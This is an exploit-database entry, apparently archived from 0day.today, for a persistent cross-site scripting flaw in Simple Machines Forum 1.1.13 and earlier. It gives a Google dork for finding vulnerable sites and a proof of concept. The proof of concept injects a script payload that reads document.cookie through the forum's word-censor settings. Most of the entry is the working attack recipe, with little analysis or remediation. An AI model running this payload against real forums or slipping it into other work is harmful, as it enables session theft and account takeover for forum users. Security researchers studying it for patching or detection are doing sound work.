Simple Machines Forum <= 1.1.13 XSS Vulnerability

# Exploit Title: XSS (Persistent)Simple Machines Forum <= 1.1.13
# Google Dork: Powered by SMF 1.1.13
# Date: 24/03/2011
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software Link: http://www.simplemachines.org
# Tested on: Linux/Windows
#POC: http://www.delincuentedigital.com.ar/2011/03/25/pocxss-persistentesimple-machines-forum.aspx

[POC]


The attacker must have access to
http://localhost/smf/index.php?action=postsettings;sa=censor
now
Put the word to be censored on the left, and what to change it to on the right.
h4x0r => <script>alert(document.cookie);</script>



#  0day.today [2018-04-08]  #